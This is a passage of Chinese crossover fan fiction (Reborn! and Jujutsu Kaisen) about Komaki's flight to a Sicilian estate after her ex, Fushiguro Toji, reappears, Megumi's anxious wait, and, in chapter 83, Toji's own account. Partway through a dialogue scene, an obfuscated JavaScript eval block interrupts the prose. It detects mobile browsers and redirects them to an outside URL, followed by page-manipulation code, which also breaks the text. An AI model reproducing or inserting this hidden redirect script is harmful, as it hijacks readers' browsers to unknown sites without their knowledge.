在欢声笑语中,任务谢幕,小莳穿上侍应生的黑白服装,就以此衣为任务目标送葬也合理。她的幻术为三人争取了不少离开的时间,碧洋琪甚至在销毁证据的时候顺便烤了一炉下午的茶点。 离开后,小莳和蓝波乖巧坐在她车的后座,没人去碰中间的点心。 时间是中午,他们坐在车上吃了汉堡和冰激凌,然后被碧洋琪带着兜风,他们去了另一个有很好吃牡蛎的海滩。一男一女出门容易被默认成情侣,因此大家都不会被搭讪,而超过这个人数就会有人尝试来碰碰运气。 蓝波为了表达对小莳上午仗义相助的感谢,承诺帮她做一个优秀的侧扎丸子头,碧洋琪在太阳椅上看着小妹妹的头发逐渐变成半个丸子头的样子,然后被人搭讪。 她送了对方一份上午做的秘制小茶点,对表情比较一致的两位小辈说:“食物中毒,去急诊躺几天就没事了。” 小莳理解,她心情不太好的时候也喜欢通过他人的不幸自我安慰。在场三人都是有一定良心但是不太多的杀手,晓得不是人命关天的问题就都不在意了。 反倒是她的头发……她没想到蓝波说的半扎丸子头是这种丸子头,具体为细细的双麻花辫再团成一团……的半边。 “早知道你只会弄一平的头发,我就不让你帮我扎了。” 蓝波狡辩:“你也没说不要先编再扎。” 最后小莳收获了一平的同款发型,和她想象的不一样,但是也挺好看。 小莳变出了一个手持镜,对着左看右看,觉得甚是新奇:“看来你是帮一平扎辫子的熟手,碧洋琪,好看吗?” “感觉下一秒就会开始说中文了。”她如此评价,然后背过身去,“小莳,帮我擦防晒。” “是的,我来自香港~”小莳吐舌头比了个耶,这一幕恰好被蓝波的镜头捕捉。 在两人去百米外的海鲜店买了一打牡蛎,吃完回来时碧洋琪已经分发完了饼干和糕点,太阳椅边还多了一把租的遮阳伞。“要下水吗,孩子们?” 小莳摇头,这里人很多,她不想和陌生人一起洗澡。蓝波比较爱玩,但他因为十年后火箭炮的原因,经常回到过去然后被十几岁的碧洋琪一顿削,他有点害怕这个漂亮的姐姐。看见小莳摇头,也摇头。 碧洋琪有点遗憾,说:“好吧,难得好兴致。以后有机会带你们去那不勒斯,然后在那从渡轮去撒丁岛。” 小莳并不当真,那不勒斯早就在彭格列层面太平了,就算是自由职业者碧洋琪能接到那的任务也罕见,除非任务目标也去度假。她还没去过那不勒斯。 半天的娱乐与交流,最后不可避免的来到小莳回意大利的理由,三月也是Mafia的淡季,碧洋琪好奇是什么驱使她回西西里。她不得不坦白自己的两段堪比一屁股债的情感经历,“侥幸心理要不得,我不想面对他们任何人。” 简单来说,这是一场流亡。 蓝波也不可避免的误食了不该吃的东西,搞不好是碧洋琪故意的恶趣味也不一定,总归他晕倒在阳光下。在碧洋琪公主抱他前往车上的路途中,她给出了和小莳的玩伴不同的看法:“选谁或者都不选只不过是被动的反应,最重要的应该是【爱】,只要是为了爱,什么都应该去做。” 意大利第一纯爱出现了。 她问她:“你爱谁呢,小莳?” 小莳说:“我不知道。”搞不好她谁都不爱,她还没对他们到那种执着的程度,不然也不会第一时间想着跑了。 碧洋琪突然露出一个自嘲的笑,“当年纲吉就是这么说着,最后得到了全部,包括……解除了诅咒的里包恩。虽然你的亲缘关系在另一个世界,不得不说,还真是彭格列十代的妹妹。”她永远也不会忘记,也是一个下午,儿童体型的情人坐在餐桌对面,阳光顺着玻璃洒在空白的盘子里,和她说分手。【阿纲那家伙说他不知道,可我是知道自己心情的。碧洋琪,我们就到此为止吧。】 这话题暧昧又古早,小莳不好评价。说好17岁都是乱谈的呢?不要乱怀念啊姐姐。 “不过对于里包恩来说是得偿所愿了吧,认清自己心的人,总能掌握先机。可以把它当成过来人的忠告,小莳。” * 自离开以后,女友再也没回过高专。 伏黑惠在第二天给她发了消息,没有任何回复。他打开消息提示,每一次响铃都是诈骗,令人失望。 当晚他见到了老师,对方的表情因为得知事情的面貌而变得不妙,说怪不得小莳没有回复消息轰炸,怪不得她改了昵称。 “小莳还挺在意伏黑甚尔的,突然遇到想必是不小的冲击,哎呀,糟糕。” 老师在询问过他这边的事之后就离开了,向他承诺:“就算邪恶的大反派出现我作为最强也不能放任在高专的庇护下有此等荒唐之事出现,为了善良可爱的学生能够追逐到爱情我特级教师五条悟就算粉身碎骨也要不负使命带领大家抵达所有人都期待的结局!” 一点也不令人放心,但那是他目前唯一可以仰仗的存在。他从未注意到自己和小莳的联结这般脆弱,直到昨天。 伏黑惠给小莳备注,此前没有发现更换的ID,现在她变成了已读不回必有苦衷。 她说会联系他,是几时呢?她还会找他吗? 他度过了不敢期待的第二夜。 第三天,同学们发现了他的心不在焉,问起他小莳的情况,五条老师前来带走他,解围的同时说明了新的情况:他去找了伏黑甚尔,对方不太配合,如此这般那般顺便打了一架,拜对方恶劣态度所赐也没得到什么情报。好消息是小莳没和前任双宿双飞,坏消息是根据情报她去了意大利,有官方人脉就是好。 在彭格列雷守的社交平台上发布了昨天下午两人游览西西里岛的照片,她看起来就是个欣赏美景,享受美食的游客。你别说你还真别说,黑发绿眼的雷守长得也挺俊俏,是慵懒类型的异域美男子,意式风情。 而底下有个KOMAKI给他留了评论,不难想象这是谁。 伏黑惠觉得自己在老师面前的表情一定很可笑,对方说会尝试在夜里--根据时差大约是四五点的时候尝试入梦进入不垂堂,毕竟小莳和他,关系匪浅。然后就欲离开放他独处。 既然对方【看到】过小莳的记忆,既然他对小莳的理解是这样的深,伏黑惠想问:“她喜欢他吗?” 但是他想,是啊,他们曾在一起过一个年头,当然相爱过。答案并不重要,伏黑惠处于进退维谷的地步:她如果喜欢伏黑甚尔,自然是个坏消息,如果不喜欢……也只能说明她是一个决断后就不回头的人了,而这份斩断一切的决断如今也是他头上垂着的一把审判利剑。 老师对他说:“安心,小惠。小莳喜欢你这样可靠温柔善良的孩子,她当然不会责怪你--最终。” 伏黑惠敏锐的察觉到背后一点,她最终也未必会选择他。 他打开ins,偷感十足输入那一串心中模拟了多次的案件,找到了彭格列雷守的账号。就发布内容来看,那是个生活丰富的悠闲年轻人,而小莳说他是个笨蛋杀手。他又顺着找到了小莳的账号,她最后一条动态发布在两年前。 他度过了不眠的第三夜。 他发的消息石沉大海。 第四夜…… 五条老师被小莳的领域驱逐出来。 第五夜…… 并不是所有结局都会美好,伏黑惠觉得糟糕。他是自由的,却也像被羁押等待审判的囚犯。然而事情在第七天有了转机,她给他发了消息,一个地址,位于西西里的某个庄园。 小莳:你可以来这边找我。报名字就行。态度礼貌点,这主人是我的一个姐姐和她丈夫。他们都会日语。 * 碧洋琪的话她还没怎么思考,就碰上了兄长终于有时间找她聊聊,现在事情完全败露,小莳没了包袱。可在阿纲长久的沉默中,以及他后续的建议:希望小莳去吉留涅罗的庄园里住上两天,她觉得自己被内涵了。 “你是把我当成伽玛了吗?太失礼了哥哥!”她控诉着兄长的不合时宜言论。 “啊,那个,不是不是,我觉得小莳是很有想法的,所以按你的意志去做就行。就算要寻求建议我也没办法帮助你,虽然大家都很好,但是恋爱上的事我--我也不太清楚就是,还不如你和尤尼多聊聊,你看,她是大空的彩虹七子,性格温柔,在你小的时候和你关系也很不错……”泽田纲吉因为妹妹的指责而脸红,他又结巴起来,说了半天才说道最关键的:“而且她听白兰说了你回意大利的事情,正好今天和我提起想让你去吉留涅罗小住几天。这可不是我说的!最后我觉得只要尤尼喜欢的话,和伽玛在一起也很好。” “上次新年见过惠君,我觉得他是个和小莳一样的好孩子,以后大概也会成为悟的同伴……虽然没有听说过他的父亲伏黑甚尔,但能让小莳你这样困扰,反过来说也是相当在意的人物呢。” 蓝波还在昏迷中,可怜的家伙,小莳帮了他一个小忙,把他送进了泽田纲吉的卧室。顺便在手机上给他留下了符合她一贯风格的温馨小建议:你可以找碧洋琪当军师,毕竟这是给前任添堵的好事情。 不过她猜他不敢。有毒料理,蓝波也算是从小吃到大。 接着,她在百公里外的吉留涅罗家族的一处庄园里住下。至于怎么过去的……阿纲和她说话的时候,白兰已经在接待室恭候多时,他这么热情绝对-- “听骸说你被人甩了?” 这种假到不能再假的假新闻到底是谁在传谣啊!小莳的脑袋今天也很好用,她很快推导出了事情的经过:骸是有点八卦,但他不会说这种和事实毫不相干的事,何况他和白兰关系一直不太好。多半是白兰通过了什么途径知道了骸得到了关于她的信息,然后两人经过一轮试探,他收获不多,凭轮廓猜大概,猜对了就是骸大嘴巴,猜错了就是骸造谣。无论如何白兰都不亏。 不过他和尤尼感情甚好,小莳警告:“我要告诉尤尼你擅自做坏事,还口无遮拦乱讲话!” 她还是个学生,有事选择告老师是在正常不过的决定! 白兰老实了一路,回到鲜花盛开的庄园也不吭声,在小莳的视角里他像个灰溜溜的落魄孔雀,她舒服了。 要论白兰和她的渊源,那得从她4岁就说起,但小莳对他的态度并不如对门外顾问那样讨厌,在这些年相处中,他们算是还不错的朋友。 小莳的善恶观……略微混沌,毕竟她都是杀手了。 白兰以前是个带恶人,性质比夏油杰严重几百倍那样吧,毕竟有人只是想干掉日本的人,有人已经成功征服了数以百计的Mafia平行世界,而每个世界都有几十亿人口;他还是间接造成小莳困境的人--如果他不乱毁灭世界,阿纲就不会去未来和他作战,她就不会得到平行世界的过量记忆,并盛是个社会福利待遇相当优秀的地方,即使是福利院的孩子也能得到良好的生存条件,直至成年。 不过他也是个幸运的人,在十年后被打败后,那些悲惨的平行世界,因为科技滥用和白兰收敛资源而产生的一切罪孽都消失--那几百亿人口就像数字生命一样突然又都活了;而小莳并不把自己身上的一切怪罪于白兰。也许以前有点,但是他大约抱着点愧意,在她小的时候对她还不错,他又是个意图很单纯纯粹的人,小莳本性里大概也喜爱这类人,所以后来也和他感情不错。 客观上没有什么人遭到了不幸。 除了幻骑士,虽说良禽择木而栖,但不忠诚的伙伴没人想要。他的二五仔经历直接让他被驱逐,现在不知道怎么样了,但凭他的身手在哪也都能混口饭吃。 尤尼看见小莳兴高采烈,而旁边的白兰微笑插兜走在她身后,他表情总是微笑,但她一向对情绪有更为敏锐的探知力。 她和伴侣说:“难得看见白兰这么闷闷不乐,今晚的甜食看来还可以多备两份。”然后和小莳亲切的打招呼,笑容治愈人心,拥抱又很温暖。 小莳从小就不讨厌这样温柔的人。与尤尼问了好,又和今日格外和颜悦色的伽玛打了招呼,他还悄悄给自己竖了一个大拇指--这个成熟的男人,目前只有白兰能让他稍微有点的意的状态。小莳猜是年少时求而不得的emm情谊。他和白兰的梁子很大,更不用说在未来回来以后白兰一直被尤尼照顾,新仇加旧恨,偏偏奈何不了他。 小道消息说他还有一段时间把白兰当成爱情路上的绊脚石了:他以为尤尼变心喜欢上了白兰。伽玛的中年危机来的有点早,这是年上普遍存在的自卑。 这么说来,甚尔好像前几天也说了类似的话。小莳的思绪被前男友勾走,噗嗤,他说的一点没错,她确实很喜欢伏黑惠。不过以前也确实喜欢他就是了,可惜他没长嘴。 小莳发现自己没办法抑制住上扬的唇角时提醒自己,不能再想这些事情,但笑容怎么也抹不掉。晚餐是庄园的帮佣准备,但甜点闪电泡芙是尤尼亲手烤制,卡仕达酱则来自男主人伽玛的倾情献艺。 首先伽玛是个金毛,金毛穿上厨师的服装,天生就有了法国蓝带的那种信服力,看起来就像是个很厉害的甜品师,就像七海穿西装搞金融那样。虽然有戏言称每个东亚人一生至少会爱上一个白毛,但金毛明显是性价比更高的选择。金融、料理、律政,在多个领域都有着天生高评价的刻板印象。 其次味道确实很好。抹茶的她喜欢,香草味也同样喜欢。今天没做巧克力味的,因为如果四个人还要买两种可可块实在是吃不完,而明天又有新的甜品,这是一场性价比的考量。 唯一有点失望的是,今天没吃到冰激凌。 五条悟再次来到不垂堂的时候,小莳正在堆杯装的第五个冰激凌球,地基很稳,应该能成功。最下面无疑是巧克力,上面一层白色带有黑色点点的大约是香草,然后是草莓、薄荷,第五个或许是提拉米苏……“一天不见你开始做起冷饮了,真是没良心。” 他的下一句是:“我要吃七个!” 小莳盛完就挥手把冰激凌柜变没了,她的情绪又比先前好些,只是说话还是带刺:“晚上吃东西会变胖,男人上了年纪就要懂得保养了,不然年过30色斑皱纹找上门。” 五条悟小声嘀咕:“真过分,我可是回到东京片刻都没耽搁就来找小莳了。饭也没吃,也没有休息。今天还没有和小惠报告小莳的情况!” “我是意大利第二喜欢Gelato的人,它说你觉悟不够,不想被你吃掉。”小莳在领域的强化中,实体化了以前没什么期望能成的食物,它带给人的满足感能像真实的食物一样维持到下咽,“你已经将此身侍奉于黄油土豆,擢升咸食门徒,没资格再加入我们吉门。” 不给没被邀请就擅自闯入的家伙吃。 “嗨,嗨,尊贵的小莳大人。” 她的下一句是逐客令:“你可以走了。” “这可不行,可爱的学生还在翘首以盼等你的音讯。你不要他了吗,小莳?”说到这里的时候,五条悟认真起来,她盯着小莳的一举一动,等待她的反应。 她咬了一口薄荷味的,可能觉得很好吃,再来一下,并未对他的问题有特别的反应:“没想好。我还没原谅你知情不报的事情,这种情形给学生说情搞不好会适得其反哦?” 明明还不到一周,总想到这些烦心事也就算了,那是她自己的思绪纷扰,怨不得人,然而关了手机也没办法阻止五条悟跑过来打搅她的清闲。讨厌。 “居然不是一定会回去吗?!你宿舍里东西都还在诶!顺便房间好乱。”五条悟暴露了他曾经擅闯女生宿舍的事情,“呀,那你们分开以后我跟谁好呢?舍不得养育了十几年的小惠,但是果然我还是和小莳一起好了,你可是我的半身~多年的情谊败给天降也算是漫画里的常见套路。不过真可怜啊小惠,以后他该怎么办?” “……”五条悟劝人大概会把人越说越急,小莳想这应该是什么很新的激将法,就算识破了也很想回怼:“不要用奇怪的词汇来形容我!我也没说一定要和惠分手啊!” “可是恋爱里一周不联系就会默认分手了,在明早就是第六天了,小莳!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413150|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这种乱七八糟的规矩到底是谁定的!” “你这是冷暴力吧,冷暴力!” “不要学个词就乱用!这种事说白了都是你们的错,怎么又怪到我头上来了!” “这也没办法,谁让小惠他有个‘好爸爸’,你就不能再努力一点自己把那三个绑匪做掉吗?说白了还是欠了人情的问题,如果没有这层原因那个男人你根本看不上,对吧小莳!” “哈?!这是努不努力的问题吗,你怎么不说一切都是时空穿越惹的祸呢?” 五条悟的面容突然变得柔和:“emm,因为没有这些事情的话,我们就不会遇见你了,小莳。能遇到你和纲吉,是很好的事情。当然还有杰和灰原。” 感觉杰的大变活人才是重点,不过谁都爱听好话,五条悟突出一个在不经意间说出软和的话,哼!她才不会被这种程度的把戏哄住。 没聊崩,但她还是在几分钟后将人请出了领域。 在睡觉之前,她上网搜了一下关于情侣之间断联的事情,发现有些网友的标准更严苛:时间短到了3天。 哦,老天奶呀,她谈恋爱经验少,第一次谈的时候可是动不动一两周没有消息,不过多数时候都能见到就是了。 这下有点过意不去了。 要不要给惠惠发消息呢? 糟糕,但她根本还没想好说什么。 这一晚,小莳在服用5个球的满足和纠结中入睡,早知道今晚就不去领域里了。睡眠时间被掌握的明明白白。 回到意大利的第六天,也是正式游览庄园的第一天,小莳被尤尼和伽玛带着参观了这里的一片葡萄园。伽玛给她倒了一杯葡萄酒。 她觉得自己确实需要,而征十郎会原谅自己的,接过,但被温柔的尤尼阻止,“伽玛,小莳还没满20。” 到手的一杯精品葡萄酒飞了。 午餐后白兰带着她去小镇上采购晚餐地新鲜番茄,因为他不想一个人去。小莳根本不想出门,她昨晚没睡好,想再软软的床铺度过美好的一天,但尤尼听见了白兰的邀约,想起小镇上有片美丽的海,还有游船,便提议三人出去先游览一番海景再回来。 伽玛在午睡。 人到中年,需要多休息,这不奇怪。 白兰因为她的话笑死,而尤尼则是报以微笑,伽玛还远没到上了年纪的时候,不过他们的年岁差距也确实不小:“这也是没办法的事,在我比小莳还年幼些的年纪时……应该说,在我出生在这【这个世界】上的时候,就是带着对伽玛的爱降临的。” 大约也算是一种念念不忘必有回响,小莳几年前在吉留涅罗待着的时候并不觉得伽玛对尤尼是一种代餐心理,她从没见过早逝的吉留涅罗上代首领艾丽娅,以前也不在意这些人际关系上的小问题,只觉得爱过一个人后又爱上他的亲属也是可能存在的情况,更何况尤尼被代理战凭空捏造了十年左右的光阴--她如果在14岁的时候和30多的男人恋爱小莳绝对会想报警,虽然警察们管不到Mafia。 现在自己也面临困局她才收起轻飘飘的态度。 小莳甚是苦恼。 她不指望能瞒住洞察力惊人又有超直感的尤尼,果然,在三人乘船到约莫有十几米深的海中时,尤尼询问最近有什么心事。 白兰竖起耳朵听,只听见小莳呼唤了自己的名字,他问:“嗯?” “你能不能再表演一下那个,就是背后长出翅膀的那一集。”小莳让他离开--飞走。 他寄希望于尤尼帮自己讨回公道,可温柔的吉留涅罗首领却说:“我们两个女孩子在这里也不要紧的,小莳会保护我,对吧?” 小莳点头,对他挥挥手,道别。 “……”他生出双翼飞走了。 而在尤尼和煦敦促的目光下,小莳局促的只把事情简化成:“我以为我前任留在上一个世界了,就和他儿子在一起了,但他几天前突然跑到我面前和我说还爱我,我就逃走了。我猜他现在还活在这个世界上的某个角落。” 听者没有表现出太多的惊讶,只是说:“这两年小莳也长大了,品尝了爱情的滋味。” “你的预知能力【看到】我的事情了吗?公主。”尤尼身上继承了她母亲和祖母的各项能力,不仅是能看透人心的超直感,更还有对于未来的预知,小莳有些想放弃思考,转而求诸神秘的预言了。 这孩子在请人帮忙的时候总会说好听的称呼,但尤尼在她鼻尖点点:“不行哦小莳,你的选择都有意义,但前提得是【你】做出的。” “听说情侣七天断联就会分手了,今天是第六天。可想到这些也只会越想越乱而已。”小莳像一篇毕业前一个月还只有三行字的论文文档,第一行是标题,第二行是致谢,第三行是日期。 尤尼用深蓝色的眼睛洞见了小莳的迷惘,可以想象她一定为此辗转反侧过:“高出视野之外的未来,少有人能一窥究竟,而预知也非是那么简单的。小莳,你站在未来的角度做现在的选择,期盼着不走弯路,但你现在所踏足的命题中,通解是不存在之物。” 不愧是大空的彩虹七子,小莳为她在三言两语中看透困惑她的谜题而折服,又深深被她身上敦厚关怀的女性特质吸引。在尤尼的引导下,她逐渐敞开心扉,说出了更多。 关于对伏黑甚尔突然出现的惊吓与不信赖,关于对伏黑惠隐瞒实情的怨怼,关于她好友们在这件事上无一例外的沉默。 “他们都不是故意的,可最后的结果客观造成了眼下的局面,甚至连奈亚也一样。” “群星有他们的轨迹,人也如此。我的ex,他童年不幸,成年以后组建了家庭仍然不幸,共同造就现在的他,所以他会对孩子不管不顾,在有能力自食其力时更倾向于赌博赚钱,所以他会吝啬于付出真情,我不因此责怪他,但也无法信赖他。本以为分手就一了百了,可他却--他帮了我很多,我有亏欠。我喜欢他的儿子,但我不能在亏欠中谈情说爱。不得不承认,他们的五官也有几分相似,这样一来更像是我在找代餐,可实际情况不是这样。” 尤尼听出了她话里的郁气:“是的,你当然喜欢咒术高专的伏黑同学,也为他的父亲不合时宜地出现感到困扰。不过小莳,困扰之外,还有什么呢?” 小莳顺利查收了此条信息,但她选择了不显示此条消息。 回程路上她看见了几只漂浮的水母,它们在海面下几米舒展。离开游船的时候,海边是金色。 尤尼说得对,在情感问题上,未来反而是最无关的命题。也许对普通人来说,恋爱婚姻同时承担了组建家庭搭伙过日子的需求,其中物质层面的未来是可以推测的,因而大部分人会将此列为重要评判标准,但小莳早就脱离了这类一般需求,当她思考感情,她就只需要思考感情。 而她喜欢伏黑惠。 她不是爱出门的人,但是和他一起,她就会想该去哪里消磨一段时间,她会想起他的眼睛,会想起他牵着她手的样子,两个人走在路上什么都不说的时候在她心中也是愉悦的记忆。 小莳忘记把之前的手机带到吉留涅罗的庄园,只好托总部那边明天早上再送过来,今夜是没去领域好梦的一晚,因为她心中已有决断。 第二天中午十二点多,换算成日本的时间已经是晚上八点,小莳终于拿到手机。 她先一一回复了此次事件无关人员的消息,婉拒了真希的来自几天前的约会请求,说明家里突然有事来了意大利;回复了野蔷薇几天前的搞笑视频链接,说明家里突然有事来意大利;回复了狗卷棘、熊猫、虎杖悠仁、乙骨忧太。 不知不觉和高专的学生们关系都还不错的样子。 她发了庄园的地址给男友。 已读不回必有苦衷:你可以来这边找我。报名字就行。态度礼貌点,这主人是我的一个姐姐和她丈夫。他们都会日语。 已读不回必有苦衷:有什么事情当面说。 对于五条悟她比较不客气,回复了:下次再有这种事你就完了。 而他给她发的最后一条消息分外令人在意:今天又去找了你前任,人去楼空,听他房东说去意大利了,你可不能忘了和我们家小惠的海誓山盟啊! 发送时间是昨天中午。 不慌,伏黑甚尔连护照都没有,也没有特异能力和官方人脉,她盲猜他也没有合适的身份证件。等他不管合法与否的办完证件到意大利,她差不多都该回高专了。 夏油杰的道歉则是敦厚又诚恳,但他此前确实不地道。 考虑到他是比杀身之仇更为过分的能杀但没杀还被羞辱了一顿,小莳觉得他是四个坏东西里面罪行最轻的一个。 至少他没想着给伏黑甚尔的生活使绊子,也没想着干掉他,算了,真的只能怪甚尔自己不积德。 她回复:已阅。你可以从我的暗杀名单里离开了。 对于奈亚,小莳不知道他是出于什么心思这么做,肯定不是他发来的数条消息其中之一的“担心会对小莳的生活有影响。”他在12月22日那么早就见到他了……一想到那天恰好还是男友的生日,也是他们交往的日子,小莳就…… 好吧说不定奈亚说的是真的。 哎,孩子大了,不听管教了。 她回复:以后不许瞒着我。今天我心情不好,你给门外顾问做夹生烩饭,再打个生鸡蛋。 这件事情姑且就算过去。 保险起见她请人关注了入境记录,截止目前没有一个叫做伏黑甚尔的人进入意大利,以后如果有的话她也会第一时间知道。她在发完一摞消息以后没再看这个手机,正如ID所言,已读不回必有苦衷,一下回了十个人有点疲惫。 不过在第二天下午,没有预料到的事情再一次发生,庄园里来了一位伏黑先生。 83. 第 83 章 伏黑甚尔,或许他只是在一切都来得及之前无知无觉。 在从初冬的米花来到深秋的东京故地后,伏黑甚尔有了能够供他安逸好一阵子的钱,感谢来自禅院家的5个亿;也有了多到不知道能够去干什么的时间。 伏黑甚尔对赌博的兴趣来源于想要赚大钱,而他得到的这个数字足矣覆盖很久的花销……思来想去他还是去竞马场消磨了时间。 也许不仅是对于金钱的渴望,也许他就是喜欢赌博本身。 钱来的容易,去的也容易,但他不在乎,伏黑甚尔丧失了一些感知,他开始把它当成是一种如释重负的感觉,因为他再也不必去思考任何关于小莳的事情。 他有一个前女友,他还挺喜欢她的,她长得漂亮,年轻,很聪明,还有钱,还很会说话。也许不止是很会说话,她很……他有点怯于承认,但她或许理解他。 伏黑甚尔不会忘记第一次他爱上一个人以后短暂的快乐,和那之后因为失去而长久的失落,甚至有些致命。不过他挺过来了,他……舍弃了一点无关紧要的自尊,只要当所有事都无所谓那就挺好。 这个方针还挺正确,比如他的儿子居然是个十影,而且是五条悟的学生--虽然很讨厌那个家伙,但是仔细一想毕竟是自己先想着干掉他的,被反杀不能算他的错,而且他帮自己带小孩了。 用她的话来说,四舍五入是赚了。 啊,又想到小莳了。总之这一别他们再也没有机会见面,总之他们不会再见面,以往的事情、曾经设想中他们或许会重逢的未来,皆为往日尘烟。 伏黑甚尔拒绝想起自己在自戕的时候,除了为了不知道什么时候又暴走的降灵术把儿子一不小心干掉,还有为了能回米花和小莳重逢。 他还想着能回去,找到她,向她解释关于贝尔摩得的事情,然后他们再在一起,她可以翘课和他出去旅游,或许他也能赚钱养她,从观念森严的老父亲那里拿钱毕竟不容易。 米花一些来客的项上人头出乎意料的值钱。 不过都无所谓了。没可能的事情他不爱想。 * 他害怕去想。这是他花掉了2个亿以后才愿意承认的事情。他期待将深埋已久的温柔和爱意都予小莳,可他也一直没忘记,不得不承认,他没忘记小莳在很久以前对他的评价。她问她:“你喜欢过很多女性,可爱过谁呢?”她说:“你对我来说不够好。”可巧,关于他们分手的事情,在小莳看来可能正如她一开始所预言的,她说他会不负责任的走开。 谁会瞧得上一个轻薄之人虚情假意的温情呢?反正他所爱的女人瞧不上。她大概还会避之唯恐不及,再也不想见到他。就像那天的偶遇,他们对视,然后她没给他一个表情,好像他们是素未谋面的陌生人,转开视线离去。 分手后仅有一次也是最后一次的见面是漠然。 十二月的时候他的想法又变了,伏黑甚尔愿意正视自己,就像每天早晨他刷牙的时候会对着镜子看见眼神无光,胡子拉碴,面无表情的脸。他知晓,如释负重的乃是怯懦,是他达成逃避愿望的那部分自我,而余下的爱与愧是另一种东西,在刻意忽视的角落里发散:难以置信,仅仅两个月时间,它们就像枝头无人采摘的水果散发出酸臭和酒精的味道那样腐烂。 他不再去竞马场。 孔时雨来过一两次,如果可以称得上朋友的话,这位老朋友现在年纪大了,有了家庭,但还在做着危险的行当,他消息一向灵通,伏黑甚尔也不问他是怎么发现自己还活着的。 “听说你现在还没到30,真好。趁着年轻要做点年轻人的事情啊。”他如此劝告,看样子挺真心诚意。不过生意人的真心就像化妆品的试用装,内容货真价实,量却很少,最终目的都指向劝消费者买正装。 孔时雨带来一桩意大利黑手党大小姐的单子。公开悬赏,但数额巨大,他有他的门路,说虽然这个黑手党组织一家独大,但异心又有钱的人总能汇聚成一股绳,这位意大利的小姐身价高达十几亿。金额已经被存储到一个第三方银行账户。他可以提供有关目标的全部信息,只要他愿意执行,最后大家一起分赏金。 年底了,准备过年。明年家里孩子上小学。 小莳从不在不打算购物的店领小样。伏黑甚尔拒绝了,他最近不缺钱,恭喜那位小姐,又活过一天。孔时雨请他吃了烧肉,说幸好当年自己走的早,不然可能真就要应他的话,地狱相见了。伏黑甚尔说地狱也不错,好过这里。 “看来你过了几天不错的日子,有喜欢的女人了?”伏黑甚尔不回答了,他也不在意,只说在有了家庭以后决定不再经手特别黑心的钱,比如天内理子其实就有点惨,人什么也没做,算是个普通姑娘,哎,但盘星教给的太多了。商人的良心是小样,他下面又说起了老调,关于黑手党的年轻女杀手,她像是被家族培养出来的秘密武器,造成过几个家族的覆灭,造成过一些恶劣的事件,稍微沉寂了两年,好不容易出现在日本的东京,还是公认的政商界摇篮--私立百花王学园。想必是又有什么颠覆的阴谋,他不在意,但她死了也不可惜,而且钱真的很多。 “你的实力我是清楚的,那女人身边只有一个式神强大,她相比之下就平平无奇。不是说她弱,但对你来说应当不成问题。” 不缺钱,不感兴趣的事情再说多少次也是聒噪的杂音,他开始打哈欠。然后孔时雨两周内就没再和他联系,都在为生活奔波。他还在对前任的失恋中,对外界的事情都不感兴趣。前所未有的清醒。伏黑甚尔认识到,相隔两个世界算是天命难违,然而天命难违无法抵消他的过错分毫。 直到十二月二十日那天,孔时雨给他发了简讯,然后登门拜访。那个女人和咒术界还有点关系,她甚至能进高专,天元大人的结界是常识,能被接纳的人相当于有了编制。这消息还没传开,但诅咒师里确实有很多很厌恶官方的……主要是讨厌五条悟。据传自从他出生以后,咒灵的凶恶程度都变高了,有的时候生存都成问题,诅咒师没有官方组织,各自分散的时候偶尔也会有遇到难以解决的咒灵,这时候伤亡概率比咒术师们高不少。 “据说这个女人和五条家有亲缘关系,我怀疑他们只是长得有点像,但是她是五条悟亲自引荐到高专的……就,勾起了一些私人恩怨,我知道惠也在高专上学,还是被五条悟养大的,你接的可能更渺茫。只是受人之托来和你说一下这件事。程序上的事情也是必要之举。” 伏黑甚尔表示理解,他问今天要出去吃饭吗?他是不介意对方再请客的。孔时雨上次已经请过一轮,而且他吃的很多,所以婉拒,顺便留下了目标的照片,圆滑成功的商人不放弃任何一点微小的可能,万一对方又接了呢?人都是会变的,比如伏黑甚尔现在都记得惠是谁了。 孔时雨被用力按住肩膀,刚刚让他离开的男人现在又不让他走:“这是谁?” 他自己也瞅了眼照片,没给错啊,就是悬赏对象:“20亿。” “她叫什么名字?” “泽田小莳。” 小莳啊……在白天的时候她会在私立百花王学园上学。 在低谷之时得到一个足矣振奋一段时日的好消息,伏黑甚尔用一天时间做准备,第二天就出发,他的企望像种子破土而出的心,如果不及时响应,恐怕就会消亡,他得快速行动。 伏黑甚尔帮名不副实的造物解决了一个前来捡漏的家伙,和他打了一架,然后被不设防地捅了一刀。 他回头,看见没有情绪的蓝色眼睛,他意识到也许在米花町那次的见面,小莳并非毫无表情,她那时……也许有些悲伤,今天的眼睛才是真正的空洞:“我说怎么会毫无反应,原来是人偶。稀奇,和她以前说的一样。” 他有些高兴,也有些难过。她会为他露出那样的表情,他却让她露出那样的表情。伏黑甚尔离开了。 一鼓作气想要去见她,然而未能达成,他的怯懦又开始作祟。他想,等伤口痊愈他再去。 伏黑甚尔在承认自己爱上小莳后,也承认了自己比起理性更倚重感性。有点破罐子破摔的意味,在重要的时刻到来时,无论他称辩着自己是如何的深思熟虑,被纳入他考虑范围的论据都是脑子里仅愿呈现的部分。他的大脑有自己的脾气,他的记忆和一天一天历数的日历完全对不上。他的儿子,三四年的父子情不如在知道孩子母亲去世的那一天漫长,所以他不再关心他;在离别后他所有的心念,所有的思量,抵不过他看见小莳和她的新男友在街边拥吻的一刹那。 所有的想法最终都没有意义,伏黑甚尔自觉卑微到不值得存在的地步,经不起一点打量。他又离开了。 世界是颠倒的,空间是错乱的,脚步是重叠的,这是他关于那天后来的的全部记忆。喝了酒大概也就是这样吧,他不清楚,因为他不会醉,但那要真的只是酒后的妄诞就好了。 * 在交往期间,伏黑甚尔和小莳聊过很多--主要是她起的头。有一次是关于神明,而她不相信世上有神明,她是说,除了齐木同学那种,没人知道他能做到什么地步。总之她自称是个将信将疑的无神论者。 